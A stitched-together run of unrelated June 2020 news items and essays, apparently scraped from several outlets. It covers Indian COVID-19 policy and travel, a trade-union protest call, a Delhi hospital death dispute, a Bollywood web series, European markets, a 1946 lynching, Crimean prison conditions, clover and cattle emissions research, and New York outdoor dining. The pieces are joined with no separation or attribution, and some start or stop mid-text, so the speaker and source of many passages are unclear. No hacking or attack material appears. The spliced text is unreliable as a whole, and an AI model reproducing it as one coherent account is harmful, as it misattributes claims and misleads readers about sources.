President Trump, he said, has divided this country and really thinks he's a dictator."
Here are todays top news, analysis and opinion at 9 pm. Know all about the latest news and other news updates from Hindustan Times.

PPE prevents spread of Covid-19: DGCA committee on leaving middle seats vacant

The Bombay high court (HC) has directed all the airlines providing domestic and international flight services, including the Vande Bharat Mission rescue mission for stranded Indian nationals abroad, to adhere to the May 31 guidelines and standard operating procedures (SOPs) issued by the Directorate General of Civil Aviation (DGCA) until it pronounces its order in a writ petition filed by a pilot of the national carrier, Air India.

Read more.

PM Modi, his govt only know how to manufacture jumlas: Congress

The Congress on Friday said Prime Minister Narendra Modis slogan of vocal for local to make the country self-reliant was yet another jumla (rhetoric) to divert the peoples attention from real issues. Senior Congress leader Kapil Sibal alleged that the prime minister and his government could only manufacture jumlas, statements and slogans, and asked how India can become self-reliant till it creates innovation and intellectual property in its universities.

Read more.

Vaishno Devi Yatra may take little longer to resume, SOPs awaited

Amid Centres nod to reopen religious places from June 8, the spade work has also begun to resume pilgrimage to the world famous Vaishno Devi Shrine nestled amidst Trikuta hills in Reasi district of Jammu and Kashmir.

Read more.

Soldier from Tamil Nadu dies in Pak shelling at LoC, army pays last respects

An Indian Army soldier from Tamil Nadu was killed in the ceasefire violation by Pakistan on the Line of Control (LoC) in Sunderbani sector of Rajouri district in Jammu and Kashmir late on Thursday, officials said on Friday.

Read more.

US approves loans, investments worth over $340 million for projects in India

The US has approved loans and investments worth more than $340 million for Indian firms and organisations as part of its efforts to uplift under-served communities around the world against the backdrop of the Covid-19 pandemic.

Read more.

Pandemic effect: Undecided on exams, new session, Bihar varsities await guidelines

The universities in Bihar, always struggling with delayed academic sessions, are still undecided on how they would conduct their examinations in the midst of COVID-19 pandemic and are awaiting guidelines from the Chancellor office.

Read more.

6 weeks, 87 crore: Rounding up all of Reliance Jio investments so far

Saying that Reliance Jio has been on a roll will not justify a feat like this. In six weeks, Reliance Industries Limited (RIL) has managed to raise 87,655.35 crore from foreign investors. This includes its latest deal with Abu Dhabi-based investor Mubadala Investment Company who will be investing 9,093.60 crore in Jio Platforms, as announced today.

Read more.

Do you feel I deserve this?Mashrafe Mortaza unhappy with BCB trying to rush his retirement

Former Bangladesh captain Mashrafe Mortaza has admitted he was hurt the way the Bangladesh team management wanted to shove him out of the team and into retirement. The topic of Mortazas retirement started doing the rounds after last years World Cup following Bangladeshs ouster ahead of the semifinals, and even though hes continued to play on, the fast bowler decided to step down as the teams ODI captain in March this year.

Read more.
Sushmita Sen Returns To Screen With Disney Plus Hotstar Aarya

On the other hand, Sushmita Sen has changed her Twitter bio to "I AM #AARYA". In the two-minute-long trailer, Sushmita Sen turns from a simple wife and mother to a crime lord to protect her family. The web show is reportedly a remake of Dutch show titled, Penoza. Aarya will also see Chandrachur Singh in the lead role, who has also returned to acting after a long time.

Aarya To Release On June 19

The trailer first shows us glimpses of Aarya's (Sushmita Sen) simple and happy life with her family and kids. After finding out that her husband is running an illegal business, Aarya is determined to put a stop to it. When he is shot in the broad daylight and drugs worth 300 core risks the lives of her kids, Sushmita takes over the business and is ready to go to any lengths to protect her family.

Sushmita Sen On First Web Show Aaryan

A report in Hindustan Times quotes Sushmita, during the trailer launch, talking about the role. She revealed to have loved the role enough to beg for it after reading the script. "Life me pehli baar workshop karae mujhse (I did workshops for the first time in my life). It is the courage of human being - it is not about being a man or a woman."

Apart from Sushmita Sen and Chandrachur Singh, Aarya also stars Namit Das, Sikandar Kher, Manish Chaudhari, Vinod Rawat, Ankur Bhatia, Alexx O'Nell and Sugandha Garg among others. The Hotstar special will begin streaming on Disney+ Hotstar from June 19.
Greengrocers and their customers at Isemarkt wear mouth and nose protectors at a market in Hamburg.

Cheap valuations, as well as fiscal and monetary stimulus from European authorities, could see stocks in the region rallying further, a strategist told CNBC on Friday.

"I think all of Europe is looking pretty attractive as an asset class," said Seema Shah, chief strategist of Principal Global Investors. "They've really underperformed this year, and valuation-wise they certainly look more attractive than the United States."

Stock markets around the world plunged in March amid the unfolding coronavirus health crisis, but markets have clawed back gains since.

Shah, however, said European assets remain "very under owned" at this point. "There's room for it to rally," she told CNBC's "Capital Connection."

She also pointed to stimulus measures from the European Central Bank and fiscal policy taken by local governments. The ECB on Thursday increased its Pandemic Emergency Purchase Programme by 600 billion euros ($672 billion) to a total of 1.35 trillion euros.

"The fiscal side has really been where there has been a lot of upward surprise," she added. "It does suggest that actually European equities across a lot of those countries could start to perform a bit of a catch-up against the U.S."

Suresh Tantia, a senior investment strategist at Credit Suisse's Asia-Pacific CIO Office, agreed that fiscal support would be good for markets, especially in Germany.

He said the German market had been "beaten down substantially," but that stimulus from the typically austere country is a positive. Berlin on Wednesday announced a 130 billion euro package to help economic recovery.

"I think that opens a new door for the German economy to support the companies," Tantia told "Capital Connection" on Thursday. "That will provide a push to German equity markets."

 CNBC's Silvia Amaro contributed to this report.
On July 25, 1946, Roger Malcom, a 24-year-old black man, was released from jail on bail after the charge against him was reduced from murder to attempted murder because the white man he had allegedly stabbed during an altercation was going to live. Malcom, his wife and another black couple were being driven home by the white farmer who had posted the bail, and who before the lynching was heard to say, All these damn n------ been to the Army and come back and think themselves something. The car was stopped by more than 20 armed white men, none of them masked, at the bridge over the Apalachee River about 50 miles from Atlanta. The mob evidently planned to murder only Malcom, until Malcoms wife called out the name of someone in the mob, which then took both couples to the riverbank and shot them all at least 60 times.
05th June, 2020

The Central Trade Unions (CTUs) in their meeting on 3rd June 2020 congratulated the workers for responding enthusiastically to the nation-wide protest call demanding immediate halt to changes in labour laws, abrogating the rights won over after a struggle of 150 years among other demands. The meeting took serious note of the continuous aggressive attack on the workersa rights ignoring all the joint representations to the Government on the matter including the nationwide protest on 22nd May 2020.

The Government not only failed in getting its own orders and advisories implemented in regard to payment of wages to workers, no retrenchments to be carried during lockdown period. Instead, it withdrew its own decision in the face of the case in Supreme Court by the employers of some companies. The Government did not heed to the demand of cash transfer of Rs. 7500/- to all non income tax paying households including unorganised labour (registered or unregistered) for the months of April, May, June, neither the demand for Government support to pay the wages of workers of MSMEs for these three months. The ration to all working people for at least six months to be made available universally also did not find favour with the Government. Neither our demand for workers safe journey home paid attention to.

The Supreme Court had to take cognizance finally asking the Governments of Centre and States not to demand passenger fares from workers, give them proper shelter and food till they are transported to their homes. Nineteen High Courts had taken cognizance of workers, frontline fighters and hospital services etc during this period.

We re-iterate that the Central Government chose the cover of COVID-19 lockdown to push through its agenda of disinvestment and wholesale privatisation of Public Sector Enterprises, 100 percent FDI in core sectors - Indian railways, Defence, Port and Dock, Coal, Air India, Banks, Insurance etc., steps in favour Corporates of Indian & Foreign brands to usurp natural resources and business of the country while mouthing behind the slogan of Aatma-Nirbhar Bharat. The earlier decisions and those taken during COVID-19 lockdown on privatization/corporatization/commercialization in Defense, Coal, Space science, Atomic energy, Insurance, Banks and most of the PSUs are being pursued with vigour and arrogance. The decision of DA freeze of 48 lakh Central Government Employees and DR freeze of 68 lakh pensioners, which is also having impact on the state government employees, is not withdrawn despite vehement opposition from Government employees and CTUs.

In this background various sections are now in agitation mode. The electricity workers and engineers have jointly observed countrywide protest against Electricity Amendment Bill 2020 on 1st June 2020. While welcoming the sectoral struggles which are developing in various sectors, CTUs support the protest programmes taken up by Defence federations including astrike ballotsa and those in the coal mine sector on 10-11 June 2020.

The scheme workers, ASHA, Anganwadi, MDM, 108 ambulance employees, etc and the nurses and doctors who are in the front ranks among the front line warriors working at the community level for combating Covid 19 Pandemic are agitated for their demands for safety measures not being addressed appropriately and neither they are provided proper health care on falling sick from COVID-19 infection, nor the social security and insurance coverage being extended to the families who are succumbing to the disease. The scheme workers are also being denied payment of honorarium for lockdown period.

ASHAs, anganwadi employees, Doctors, Nurses, Safai Karamcharis, have been in the protests now and then in various parts of the country on similar demands. The CTUs support all these agitations on their just demands.

The so-called 20 lakh crore package of the Government is nothing but a hoax and cruel joke on the suffering people; this mainly comprises of loan guarantee to various sectors and the actual relief package reaching people is not even 1 percent of GDP. Even, previously announced budgetary allocations and welfare schemes such as PM Kisan Samman Nidhi, Construction Workers Welfare Board and District Mineral Funds etc have been unscrupulously repackaged to befool the people.

The workers who have reached back to their villages would need work, so there is dire need of additional amount to cover these workers also along with the existing needs of rural labours. But the sum announced was paltry in face of demand at the ground level. We demand that the coverage of MNREGA must be enhanced sufficiently to meet the demand for livelihood and work for all including the returned migrant workers; similar employment guarantee should also be extended for the urban areas to meet the demand for work and livelihood for all including the most suffering unorganized sector workers; they should also be provided universal social security including health care and food support.

Now with the opening up of some industrial units the complaints are that all workers are not being taken back, only a small percentage is finding their place back in jobs and that also on reduced wages and refusal to pay lockdown period salary. Such denial of employment and pressure for wage-reduction have to be unitedly combated and we also demand upon the governments for immediate corrective interventions in that direction.

The jobless are more than 14 crore and if we add the daily wagers/contract/casual, it is more than 24 crores who are out of livelihood at present. The MSMEs themselves are reporting that 30% to 35% units may not be in position to start their activities. The unemployment rate is already reached 27%. ILO has said in its report that more than 40 crore people would be pushed into deeper poverty. According to eminent scientists & medical experts, India is faced with stark reality, that malnutrition would increase, hunger deaths would become a daily reality, and there is real threat of depression resulting in suicides amongst workers.

Modi Government has most insensitively dealt with the problem of COVID 19 as law & order issue instead of treating it as medical emergency for the human being and society. It has caused immense miseries to millions of workers, farmers and other vulnerable sections of the society. Whereas, Government stood only by Corporates & big businesses.

A Government which has no respect and concern, towards the rights and basic survival-entitlements of workers and the people does not deserve any co-operation. We the workers/employees and trade unions need to do everything possible to be in solidarity with each other, unitedly face the disease taking all precautions necessary, stand with each other to defend our rights of unionization, collective bargaining, decent working condition, wages & future securities etc. This Govt has demonstrated cruel insensitivity of the basic human needs of the workers and people. This cannot be endorsed and cooperated with.

We cannot accept lying down the designs for imposition of slavery on workers through total nullification of all labour laws; nor can we remain onlooker to the Govt project of wholesale privatization of our PSUs through multipronged routes; we cannot silently accept the aggressive structural changes in the agricultural economy in favour of corporate-landlord lobby putting already distressed majority of the agricultural populace in deeper miseries besides endangering food security for the entire people. Trade union movement cannot endorse or cooperate with this process; we have to totally non-cooperate, defy and resist through united struggles such disastrous anti-people, anti-worker and anti-national designs being imposed on the society taking advantage of the lockdown situation in an unscrupulous manner. The Central Government has defied its constitutional obligation.

Hence we the Central Trade Unions, independent Federations and Associations in this background have jointly decided to observe Nationwide Protest Day on 3rd July 2020, by the workers and employees of formal & informal sector and service establishments, maintaining physical distancing and other precautions. This programme is in preparation and prelude to further united struggle of prolonged Non-Cooperation and Defiance of the anti-people, anti-national policies of the Govt and in defence of our rights and basic entitlements. Preceding the nationwide protest, to generate awareness about the changes being made in labour laws and other policy issues, the state level joint meeting/seminars/conventions may be held.

We demand upon the Government to immediately hold the long overdue Indian Labour Conference to dwell upon the 12 point Charter of Demands, the labour and trade union rights, issues of job losses, wages, job security, the migrant workersa issues including their journey to home and return journey to those who desire to join back their work, instead of frequently meeting only the employers and corporates organisations.

We call upon the working class and trade unions of all affiliations to make the programme of Nationwide Protest Day on 3rd July 2020 a massive success throughout the country, in all workplaces and centres in preparation to countrywide united struggles of Non-Cooperation and Defiance to anti-worker, anti-farmer, anti-people and anti-national policies of the Govt for at least six-months period to defend the rights of the people and save and defend the national economy. The concrete form of Non-Cooperation and Defiance including nationwide general strike will be decided by the joint platform of Central Trade Unions and independent Federations and Associations at appropriate time in the next phase after the observance of the Nationwide Protest Day.

INTUC AITUC HMS CITU AIUTUC

TUCC SEWA AICCTU LPF UTUC

And Together with the Federations and Associations of various sectors

[see the original signed PDF version

India: Central Trade Unions call for 3rd July as Nation Wide Protest - Prepare for Countrywide Struggle of Non-Cooperation and Defiance

]
Chennai, June 5 : Actor-cum-politician Kamal Haasan, President of Makkal Needhi Maiam (MNM), on Friday said that Chennai is the capital of Tamil Nadu and it should not become the corona capital.

Speaking to reporters about 'Naame Theervu' (we are the solution) initiative of the party Kamal Haasan said it is time to put aside political differences and criticisms and work together to reduce the coronavirus infection in Chennai.

He said under the party's new initiative 'Naame Theervu', non-governmental organisations (NGO), individuals and others can register themselves by calling a phone number, and help move Chennai from the corona red zone to green zone.

"This is a movement by the people and for the people," he said.

As on Thursday, coronavirus infections in Chennai stood at 18,693.

According to him, an army of volunteers is being sought to be created to solve the problems faced by the people during the pandemic.

He said people are stepping out of their homes as the lockdown restrictions have been relaxed and protecting them now is important.

Sanitiser dispensers will be kept at places where people gather frequently. Masks will be distributed as well, Kamal Haasan said.

He said the party's initiative is not against the central or the state governments.

According to him, the situation is such that governments have to accept the assistance of NGOs and others.

He said the Karnataka, Odisha and Kerala governments have done well in containing the spread of coronavirus in their states compared to Tamil Nadu and others.

Kamal Haasan said the Kerala government partnered with NGOs in containing the virus spread.

However, he refused to answer when asked how Kerala, a small state, could be compared with Tamil Nadu as the latter has a much higher population with greater density.

The President of MNM said that the number of Covid-19 patients reported by the party volunteers working on the ground is three times the government numbers.

According to him, all the governments committed the same mistake of reporting lower infection numbers and there is no transparency in what the governments are saying.

Kamal Haasan abruptly concluded the meeting without answering whether the `Naame Theervu' programme will be extended to take up other issues at a later stage.

-- Except for the title, this story has not been edited by Prokerala team and is auto-generated from a syndicated feed
Haygood is accused in the shooting of Jose Gutierrez, 28, of the 5000 block of North Kenmore Avenue. The killing occurred about 7 p.m. Monday in the 2100 block of 50th Street, according to the release.
The inmates are held in poor conditions, and thus, Russia violates the recommendations of international organizations

Crimean human rights protection group and other NGOs filed a special appeal to the UNHCR, claiming serious violations of human rights in the annexed peninsula. This is mentioned in the message of the group.

"A number of restrictions was imposed in penal colonies and remand centres of Crimea in order to co,mbat the Covid-19 spread. However, the real situation that showed up during the monitoring of Crimean human rights protection group raises serious concerns", the message says.

The group claimed that the so-called "remand centre No.1" of Russia's Federal Penitentiary Service organized a "quarantine cell" that holds up to six people, as prisoners put it. People with possible signs of Covid-19 or ARVI are held there; there are no due sanitary and hygienic conditions, not even hot water. The inmates do not get tested, just have their body temperature checked. They don't even have any masks or sanitizers.

The movement of Ukrainian citizens from the occupied Crimea to Russia is performed with numerous violations of international humanitarian law; they don't offer inmates any food or due sanitary conditions.

Thus, Russia violates the recommendations of international organizations regarding combating the spread of Covid-19 in penitentiary establishments.
By PTI

NEW DELHI: A woman has alleged that her COVID-19-positive father was not admitted in time by a Delhi government hospital and he died on Thursday, a charge denied by the authorities of the facility.

The woman, Amarpreet Kaur, took to Twitter earlier in the day, saying, "My dad is having high fever. We need to shift him to hospital. I am standing outside LNJP Delhi & they are not taking him in. He is having corona, high fever and breathing problem. He won't survive without help. Pls help."

An hour later, she again tweeted, saying, "He is no more. The govt failed us."

Her tweets were widely circulated by netizens.

Amarpreet is a social activist, her family said.

The authorities at the Lok Nayak Jai Prakash Narayan (LNJP) Hospital, a dedicated COVID-19 facility, denied the charge, saying the patient was "brought dead".

According to information shared by the hospital, the 68-year-old man, who also had asthma, died at 7:37 am.

"According to a report from the emergency department, the man was tested for COVID-19 at Sir Ganga Ram Hospital (SGRH) and the report came on June 1, in which he was found positive for coronavirus infection," a senior official said.

He was sent to home quarantine from there, the authorities said.

On Thursday, he was brought to the casualty department of the hospital in an "unconscious state" and with a flat ECG line, and declared "brought dead".

Amarpreet lives in Gurgaon with her husband Mandeep Singh, who said the family members rushed to the hospital after getting to know about his father-in-law's condition.

"My father-in-law was taken in a car by my wife's brother and a cousin, accompanied by my mother-in-law," Singh said, and alleged that the LNJP Hospital staff "were not willing to see my father-in-law, even as he fainted in the car".

"They are saying he was brought dead, but was he even attended to? The staff kept saying go to Ganga Ram Hospital. We were just at a loss," he alleged, the charge again denied by the LNJP Hospital authorities.

Singh also alleged that the family "never received any call" from the SGRH on the positive COVID-19 status of his father-in-law.

A spokesperson of the SGRH denied the charge, saying, "There is no truth in these allegations. However, we sympathise with the family for their loss."

Singh also claimed that the family had approached three-four other private and government hospitals a few days ago, but "could not get admission" for the deceased in any of those facilities, adding that they found out that beds were available at the LNJP Hospital, so he was taken there.

Later, in a statement, the LNJP Hospital rejected the claims of the family as "incorrect and false", saying the old man was brought to the hospital between 7:10 am and 7:30 am, was "not refused admission and examined by a doctor".

It also claimed that the first tweet was put up by Amarpreet at 8:05 am and subsequently, she sent out another tweet, saying her father died at 9:08 am, but he died at 7:37 am.

Singh responded to it and claimed that the tweets were "put out from his wife's account by a friend of hers", as she was scrambling to get her father medical attention and hence, there could have been a delay.

Asked if the man's family was made to wait at the hospital, a source said, the LNJP Hospital, being a dedicated facility, sees a "lot of rush" of patients.

"Also, there are four doctors in the casualty department, who can attend to only four patients at a time following all social-distancing and other safety guidelines.

But the triage team looks out for any person in the queue, who needs immediate medical attention," the source said.

The woman later tweeted seeking COVID-19 tests for all family members.

"I lost my father today morning to COVID we want other family members to get tested today only. which labs are not doing they are in danger. We are trying since morning. My mother, brother, his wife and two kids. Pls help (sic)," she said.

On June 2, the woman had also tweeted: "My father is corona positive and in Delhi, no helpline is responding @ArvindKejriwal @msisodia @dilipkpandey. Immediate support is needed."

"I am extremely thankful to @dilipkpandey and others for immediate attention and support. We are proceeding on next steps as advised by doctors!" she had tweeted.

Aam Aadmi Party (AAP) leader Pandey had helped to get a doctor on a telephone call with the family, Singh said.

Delhi recorded 1,359 fresh coronavirus cases on Thursday, which took the COVID-19 tally in the city past the 25,000-mark, and the death toll due to the disease mounted to 650, authorities said.
In the rising tide of Covid-19 cases, India was forced to a grinding halt when the Central government declared the first lockdown. When University and all modes of transport shut, my professors extended a lifeline and for the next two and a half months, they freely gave of their home, hearts, and resources.

As the weeks rolled by, lockdowns 1. 0, 2.0, 3.0 and 4.0 saw time distinctions blurred so that weekday and weekend became alike.

But it had gone on for far too long and though the toll was piling up and migrant workers were still walking home, the country needed to find its feet again. And so, an uneasy easing of restrictions began. When the skies opened up for commercial flights, it was time to leave Ahmedabad.

'Show Me the Way to Go Home'

Campbell and Connellys song played on a loop as the frantic search for flights began. A slew of restrictions turned each state into a kingdom unto itself, requiring a pass to be allowed entry. The countrys federal structure gave them space to flex their muscles over travel rules  meaning that among other things, form requirements are subject to change without notice, quarantine norms differed and that your pass could be pulled even if it was just approved.

Karnataka was the first to reject my application. Since Gujarat was severely affected, the only way I could enter Bangalore was if I was terminally ill and seeking treatment there. Not an option.

Tamil Nadu needed a flight seat, so after booking the ticket I sat to fill the form. It was full of technical glitches and fields that did not apply, so reached out to friends in Chennai. One flustering night later, it came through.

Feeling mighty pleased, I downloaded the Aarogya Setu app and began packing only to learn that the flight got cancelled.

No matter, it was still possible to book another flight to Chennai. But hold on, this meant I had to apply for a new TN pass with the fresh ticket details (without which I couldnt board) Arghhhh!

Here we go again  book the ticket, apply for the pass and keep hitting refresh like a crazy person till it gets approved.

After 6 restless hoursthe second TN e-pass came through. I was all packed and ready, when just a couple of hours before leaving for the airport, the airlines called to say that all flights to Chennai from red zones were cancelled. Marvellous.

What to do now?

I needed to try Bangalore again. Karnataka wasnt looking pretty because of their 7-day institutional quarantine, but there was no other option.

Here too I needed to book a ticket to apply for the pass. I called up my dear relatives there and said: Im sorry, but tomorrow at this time, Ill be there.

Hmmm, no direct flights from Ahmedabad  Bangalore.

Option 1: Ahmedabad- Delhi with an 8-hour layover  Bangalore * sighs*

Option 2: Ahmedabad  Hyderabad with a 3 hour layover  Bangalore *sighs deeply and accepts*

Oh well, at least the layover means I can write this to you!

The Karnataka form kept turning up with errors over and over again till finally, after countless One Time Passwords (OTPs), it was acknowledged, but not approved. By this time, Karnataka decided to change its mind again so that passengers from all states except Maharashtra could be home quarantined. Great, but it is important to note that this could only happen if the pass got approved.

Id have to take the gamble and hope that it would come through while I transited.

Knowing that it was better not to risk missing a document, I ran to get photocopies of the ID proofs and printouts of the boarding pass and baggage tags.

Boarding pass? Check

Baggage tag? Check

Karnataka acknowledgement form? Check

Aadhaar card?........ Aadhaar card?

Oh no, wheres that dang Aadhaar card?

*Spends the next hour looking under the tables, running home to look inside the suitcase and folders *

Found it, phew!

Armed with gloves, mask, face shield, documents and luggage, I bade my professors farewell and headed for the airport.

'All changed, changed utterly'

This single line from Yeats poem Easter, 1916 summed up my sentiments on reaching the airport. Queues snaked outside the entrance filled with all sorts of people  infants whining and whinging at the discomfort of wearing a mask, bachelors yelling updates to their family over the phone and a few over-smart characters trying to cut in line.

Suddenly, a doctor comes out and orders a separate line for those travelling to Calcutta only, bringing the total to four lines. Four lines and one thermal screening counter, we seem to be scaling new heights of brilliance!

The masks and gloves are not helping the sweltering 41-degree humid weather and snails pace at which the line moves. Someone gets especially bugged and soon, a fight breaks out. Some join, the security forces swoop in to break it up and the rest of us spectate. A few metres away, a sleeping dog lies oblivious to the frenzy surrounding him.

As soon as the fight is quelled, the lines dissolve again as everyone makes a dash to have their luggage compulsorily hosed. Suitcases and bags are doused with a watery substance that smells like a chlorinated swimming pool, my Aadhaar card gets soaked. On finally reaching the thermal screening counter, an angry doctor tears the boarding pass out of my hand, demands to see my Aarogya Setu app and yells asking for the reservation number.

I dont blame the poor guy, its hard not to lose your cool when thousands of people are jostling at the counter every day.

Its necessary to keep your cool, at least when undergoing the thermal screening test. Bad joke, I know.

Onto the soldier who verifies the ticket and ID before letting me through.

Finally, Im inside Sardar Vallabhbhai Patel airport.

After making a few enquiries, I find the airline counter and stand in a socially distanced queue.

Have to move to another queue since the baggage tag wont do. The person in front of me was not allowed to go through because he didnt have a pass for his destination. At this point, my Karnataka pass was still pending. I only had the printout of the acknowledgement form, and my heart skipped a few beats.

Baggage checked in successfully, just a few grams shy of new weight restrictions. When the flight attendant asked for my travel credentials, I nervously pulled out a printout of the acknowledgement form and was let through.

Before the security check, theres another line to have the boarding pass scanned at a machine with a soldier behind it.

Surprisingly, the security check was the most normal part of the whole procedure. In the restroom, a lady tries to operate the faucet with her elbow. The whole airport is filled with people in either masks, face shields or both masks and face shields. Is this even the same country? Given that usually, a lot of people display an utter disregard for public hygiene, one wonders whether the value we place on our lives is much higher than we let on. Lets go down that philosophical rabbit hole in another post.

There are yellow signs in the boarding lounge so that the total seating is reduced to a third of its original capacity. The lady in the next row meticulously sprays disinfectant thrice on her seat and also on seats in the vicinity, it reeks of insect repellent. Anyway, it didnt matter much because our boarding gate changed five times.

I drank some coffee and an oat bar because you know, gotta keep em energy levels up for the next 13 hours.

Before boarding, we are given a safety kit to wear in the plane: a folder containing a face shield, water and a zip lock bag with five sachets of hand sanitizer. By now, my hands are numbed by this sanitizer fest- sanitizer outside, at the counters and bathrooms -not even sure what liquid Im applying anymore. I guess that as long as its cold and evaporates, it should do the trick.

On the flight, Im flanked between a Telugu loudspeaker and a grouchy Gujarati dadi who sternly commanded, andar avo.

The Beatles came to my rescue via Youtube downloads whispering words of wisdom, let it be.

Just then respite comes in a particularly unusual form. Im asked to sit in a separate row  Great. However, as the air hostess informs me, this is so that I can operate the emergency exit and evacuate other passengers in the unlikely event of an emergency landing. Not a fan of heights and now asked to operate the emergency exit because Im travelling alone  Not so great.

So, you can imagine my delight when we were wheels down in Hyderabad.

City of Pearls

Hyderabad, I always imagined visiting here to wander around the Charminar, gaze at the Veiled Rebecca in Salar Jung museum and relish Nalli Ghosht at the Taj Faluknama. I guess this time around, Ill have to settle for wandering around the Rajiv Gandhi International Airport, gazing at the less attractive display board and make do with a cuppa Maggi.

Hyderabad has one fancy-schmancy airport. In these troubled times, its complete with guards who take your temperature every few metres, Purell hand sanitizers, tray disinfection tunnels and stickers on the distanced seats. I wonder what the people in this city are like.

I love solo travel and long commutes for the opportunity it provides one to be alone and also to interact with many weird and wonderful strangers. Those dynamics are majorly upended in travel today. The sense of fear is quite palpable  electronic payments are preferred and in the lounge, a harried healthcare worker in a PPE suit screams that those who dont wear masks are endangering the lives of others.

Each person is more paranoid than the other, each one more selfish than the next. Im the most relaxed person here and thats saying a lot coming from a Type-A control freak.

Even after stealing away to slurp a cuppa Maggi at a distance, I receive cold looks that pierce like daggers of disapproval. As the spices in the warm broth tickled my nose, I became more grateful than ever for a fully functioning olfactory system.

There but for the grace of God go I

With no approval for the Karnataka pass in sight, I boarded the flight to Bangalore with a heavy heart. My co-passengers were a group of young Malayali army officers. Once they found out I was also a Malayali, some serious flirting ensued.

Aiyoyo! Good thing they were going on to Kochi.

The plane landed at 22:09 just as my Karnataka e-pass got approved at 22:08. Soon after alighting, passengers were segregated based on whether or not they had an approved Karnataka e-pass. Talk about the Red Sea parting!

What followed, were a series of queues according to the type of traveller (pregnant women, families, elderly etc).

First, a queue to verify the ticket and body temperature (by placing a finger in a machine). Then a desk where my hands and boarding pass was stamped with semi-indelible ink stating that I should be in home quarantine. Here too, the person in front of me was taken away but did not go without a fight. Finally, a queue to be told that I was told not to rub it off.

There is also another queue for different categories of hotels and one to go out and wait for a taxi. All stations were replete with loads of hand sanitizer proudly bearing the Make In India logo. On duty were defence personnel, Red Cross workers and airport staff who superbly coordinated logistics and spoke excellent English and Kannada.

When I came to the taxi stand, I was offered a womens cab. Taking a cab alone at 1 in the morning is not the safest thing to do, but I was probably more scared than usual because this lady drove faster than Schumacher while chatting with the other lady drivers about each of their drop locations!

Pretty soon, she zipped through NH44 and brought me home.

In retrospect, there were quite a few hiccups, but whether you call it the grace of God or a heavy dose of sweet luck, youve gotta admit that a lot of factors outside my control fell into place. It was stressful, who wouldnt like their own individual chartered planes in times like these eh?

But on the bright side, the third set of flights didnt get cancelled. Also, in one day, I got to witness first-hand how three different states handle this crisis, and reached home safe. And that is more than enough for me!

Weirdly, it is pretty thrilling to live on the edge. I am so glad to have been in the thick of what my country had to face. The chaos on commercial flights is nothing compared to what those who cannot afford to fly are enduring. It is both heartening and saddening to see so many men and women selflessly manage the fallout of a few gigantic mistakes. If I get the chance to work in a similar situation, I would be honoured to serve.

I salute those who are quite literally putting themselves in harms way to ensure others get to move on with their lives and pray for protection over them.

My takeaways from this journey would be that you can only ever do your best, then adjust and improvise as curveballs come your way. Also, dont develop an ostrich mentality and let your issues fester, keep abreast with developments. So much goes wrong because the uninformed and callous take strong stands.

India, you are now faced with a humanitarian crisis of epic proportions, a crippled economy, a stand-off with China , two cyclones and a locust invasion.

But I am certain that we will find a way to overcome this.

To quote our late President Dr A.P.J Abdul Kalam, Difficulties in life do not come to destroy you, but to help you realise your hidden potential and power. Let difficulties know that you too are difficult.
British scientists have shown that direct emissions of a powerful greenhouse gas from certain pasture types are lower than previously thought.

The climate impact of grass-fed cattle herds may be 'overestimated', according to research team at Rothamsted Research.

They found urine from animals reared on pasture where white clover grows  a plant commonly sown onto grazing land to reduce the need for additional nitrogen fertiliser  results in just over half the amount of nitrous oxide previously assumed by scientists to be released.

Nitrous oxide is a potent greenhouse gas that is 265 times more harmful than CO2 and can account for 40% of beef supply chain emissions, and the group say these findings may help farming achieve its net zero ambition by 2040.

In perhaps the most realistic re-creation of real farming practices to date, the researchers measured emissions from just one herd on their experimental beef and sheep farm in Devon.

Most studies looking at the emissions from livestock arrive at their conclusions by combining data from a variety of experimental systems in addition to some estimated values.

Co-author of the study, Dr Laura Cardenas said such estimates are currently provided by the Intergovernmental Panel on Climate Change (IPCC) to scientists wishing to include it in their calculations on the climate impact of our food supply chains.

She said: Due to technical and logistical challenges, field experiments which measure losses of nitrous oxide from soils usually add livestock faeces and urine they have sourced from other farms or other parts of the farm."

Dr Cardenas said this meant that the emissions captured do not necessarily represent the true emissions generated by the animals consuming the pasture.

Writing in the journal Agriculture, Ecosystems and Environment, scientists report how they created a near closed system whereby the circular flow of nitrogen from soil to forage to cattle and, ultimately, back to soil again, could be monitored.

The research was carried out at Rothamsteds farm lab, the North Wyke Farm Platform, a unique facility where all relevant environmental, agricultural and economic data related to livestock farming is collected.

For this experiment, herds of 30 cattle were grazed on either land that had long been pasture; a high-sugar grass commonly sown by farmers; or a high sugar grass and white clover mix.

Lead author of the study, Dr Graham McAuliffe, had previously discovered system-wide reductions of greenhouse gas emissions associated with the inclusion of white clover in pasture.

This conclusion was primarily driven by a lack of need for ammonium nitrate fertiliser, whose production and application create greenhouse gases.

However, in the absence of evidence at that time, the team relied on figures provided by the IPCC which assume all cattle urine or faeces deposited to soils cause the same volume of nitrogen-based emissions irrespective of pasture type.

The most recent IPCC figures provided to scientists estimate this emission factor as 0.77%.

However, the teams latest experiment found it was 0.44% on the white clover-high sugar grass mix, once the additional nitrogen captured from the air by clover was accounted for.

Dr McAuliffe said: These differences might not sound like much, but when used in calculations of the climate impact of beef, they have a considerable effect as nitrous oxide emissions can account for over 40% of entire supply-chain greenhouse gas losses.

This new research is the first time Rothamsted scientists have quantified the climate-change related benefits of white clover, achieved both directly through lower nitrous oxide released at pasture, and indirectly by lower fertiliser requirements.

According to Dr Cardenas, further research is required to explain the detailed mechanisms behind the observed complementarity between white clover and high sugar grasse - but that the data points towards an effect of sowing clover on the soils microbes.

The evidence suggests that including white clover amongst high sugar grass decreases the abundance of microbial genes associated with nitrous oxide production compared with microbial communities observed under just high sugar grass.

As the UK strives to achieve cross-industry net-zero carbon emissions by mid-century, improving our understanding of greenhouse gas emissions and mitigation potentials has never been more important, she added.

Although white clover is unlikely to be a silver bullet for agricultures net-zero ambitions on its own, adopting combinations of multiple emissions-abatement interventions, such as increasing legume-inclusion in pasture compositions and utilisation of low-carbon fertilisers, will be essential to maximise farmings national and international contribution to a cooler planet.
Source: Xinhua| 2020-06-05 03:04:49|Editor: huaxia

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NEW YORK, June 4 (Xinhua) -- New York City Mayor Bill de Blasio announced a plan on Thursday that would give restaurants more space for outdoor dining after the city reopens.

New York City is set to enter phase one of reopening on June 8 and outdoor dining is now permitted in phase two, as New York Governor Andrew Cuomo announced on Wednesday.

De Blasio said at his daily briefing that he expected New York City to enter phase two as early as the beginning of July, when the city will allow temporary use of open space for restaurants to maintain social distancing while at the same time maximizing their customer base.

According to the plan, restaurants can set tables in the curbside and sidewalks, and those along the 100-mile open streets developed by the city can use the space in front of their establishments. Various regulations will be applied to specific situations.

